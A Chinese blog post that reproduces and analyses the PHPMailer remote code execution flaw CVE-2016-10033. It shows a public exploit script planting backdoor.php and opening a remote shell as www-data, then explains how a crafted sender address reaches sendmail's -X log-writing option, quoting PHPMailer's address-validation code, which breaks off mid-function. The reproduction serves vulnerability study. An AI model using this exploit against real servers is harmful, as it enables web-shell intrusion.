PHPMailer 命令执行漏洞（CVE-2016-10033)复现
#
PHPMailer没有听过，比较好奇，最近正好在学习PHP代码审计，所以来复现这个CVE，学习点新东西。
漏洞简介#
PHPMailer是一个基于PHP语言的邮件发送组件，被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。
CVE-2016-10033是PHPMailer中存在的高危安全漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。
使用它可以更加便捷的发送邮件，并且还能发送附件和 HTML 格式的邮件，同时还能使用 SMTP 服务器来发送邮件。
很巧，又是组件问题，看看最近的log4j吧，，，，鲨疯了。。
影响版本#
PHPMailer < 5.2.18
漏洞复现#
漏洞环境#
复现地址https://github.com/opsxcq/exploit-CVE-2016-10033
搭建完成效果
漏洞利用#
./exp.sh host:port
等待2分钟左右，即可创建后面成功，并且拿到shell
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> id
[+] Running id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RemoteShell>
漏洞分析#
漏洞原理：
PHP通过mail函数发送邮件
mail(to,subject,message,headers,parameters)
# PHP mail() 函数用于从脚本中发送电子邮件。
# 第五个参数可选的，而问题就出这个参数。
mail函数最终是调用的系统的sendmail进行邮件发送，而sendmail支持-X参数，通过这个参数(第五个参数）可以将日志写入指定文件。可以写文件，当然就可以写shell，造成RCE了。
跟踪mail函数
回溯找params变量
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
回溯Sender，需要经过validateAddress()过滤
// Validate From, Sender, and ConfirmReadingTo addresses
foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
$this->$address_kind = trim($this->$address_kind);
if (empty($this->$address_kind)) {
continue;
}
$this->$address_kind = $this->punyencodeAddress($this->$address_kind);
if (!$this->validateAddress($this->$address_kind)) {
$error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
}
看看validateAddress函数
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@')